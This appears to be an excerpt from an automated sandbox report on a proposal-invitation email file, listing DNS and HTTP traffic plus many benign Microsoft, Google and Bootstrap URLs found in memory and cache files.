Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: HYPERLINK "https://www.youtube.com/channel/UCg3BMGqYnreiavgk1ljplOw/?guided_help_flow=5" equals www.youtube.com (Youtube)
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: [cid:650d9419-35b3-440f-bffe-f2d6dbe75a15]<https://www.youtube.com/channel/= equals www.youtube.com (Youtube)
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: [cid:86198fd8-3489-4272-a770-627ff608e1e3]<https://www.facebook.com/pages/c= equals www.facebook.com (Facebook)
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: [cid:d5d3f372-f97d-40b5-8955-5a7e51645f31]<https://www.linkedin.com/company= equals www.linkedin.com (Linkedin)
Source: chromecache_218.12.dr, chromecache_213.12.dr	String found in binary or memory: return b}oC.H="internal.enableAutoEventOnTimer";var gc=ia(["data-gtm-yt-inspected-"]),qC=["www.youtube.com","www.youtube-nocookie.com"],rC,sC=!1; equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: www.pipebending.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4742Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 18 Apr 2024 21:05:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16603Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: +PK2MucLww1ZMcEgQGMAQVmotAjgMpH7WeCEc86rq5vL4O1OxEWMq4CjGa/Kp9SCDQ9vv+Zcteyry/mCARymo5OFsNP3jyeWJjloUe6YJNpcByX8EWFafHWYaNz6Ym8arx7rAFJq3LAjHPeV2rr9CQ==$qvRgE+zrFKDU/YaZpjC5TQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 18 Apr 2024 21:05:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16780Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: 4HpeWrYGwPUOmxZeDRRp2NNMbKYmHuvSFSyuoYQ4IYdWZDu1Amol24stf82gYWnV3UOCyc0Ri5jdH8SzZuI/zajrv9MpwW+fcRc1zwIxeq/FsvjguWAUE5EugStM6ynHu8RseiFaMHeFkJrGc6nY3w==$u2vYegQR0cKaDXftKy8anQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 18 Apr 2024 21:05:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16780Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: RJTLhROIefUMH1x3U73cysvyhGpTd4FnK5kyfogF8B0Va1t0EjC/wwNh4lRlQWiYOPT0EzvIEyPWG0+sftIm2Tu3DN/J13rM/mFYXlQ4KPxFv3ZxhuM3EsugUKb7kjm8dSc+4UwAOFxqrOWABBPcNQ==$9WQlimPMIMXqUPgqNvY6kA==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 18 Apr 2024 21:05:40 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16865Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: lfx3QzNnJ9aVVbBLQXySHp/hoUmT/V9jZjgy37y91uT+sPCbtZZ/8xQeT9SlIS7UJwgdU/mQZineWiTVyjmNj/yGn+Lsn0hqtLbTVfl8RrQOi1H9dGX3BvfznUjQFvnWzS4HciUdyxhYyaJJqX8uWw==$6R2pQsQi/UTXrpUEDdCMcg==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 18 Apr 2024 21:05:43 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sIrHLxMO2WCLSGT%2FoLI7l1164p8kXxGMmB08b71YvDIUMXsDxe6WGcHFPo%2B%2BccZhWGT%2Bf07XFElvhuKB2anuCnSWZS89n%2B2xmNip0ecgnrxdCEuBR4TE6FktI%2FNgiSIHHRV%2FKU1R0fYaGg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 87679d53baaf6734-ATLalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 18 Apr 2024 21:05:21 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: http://www.pipebending.c=
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: http://www.pipebending.com/
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: http://www.pipebending.com/#/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: chromecache_218.12.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_218.12.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_249.12.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.aadrm.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.microsoftstream.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.office.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://api.scheduler.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://augloop.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: chromecache_218.12.dr, chromecache_231.12.dr, chromecache_213.12.dr, chromecache_237.12.dr, chromecache_238.12.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cdn.entity.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: fa4762cc-6385-4bba-a9e3-8befccfa0f3e.tmp.18.dr, 7f9ab80d-d600-40fc-b24f-d641b2927b2b.tmp.18.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cortana.ai
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://cr.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://d.docs.live.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://designerapp.officeapps.live.com/designerapp
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://directory.services.
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ecs.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://edge.skype.com/rps
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601652342626
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: chromecache_232.12.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_232.12.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_232.12.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: https://goo.gl/maps/WvztXUVUVgUW85wQ6
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://graph.windows.net
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://ic3.teams.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
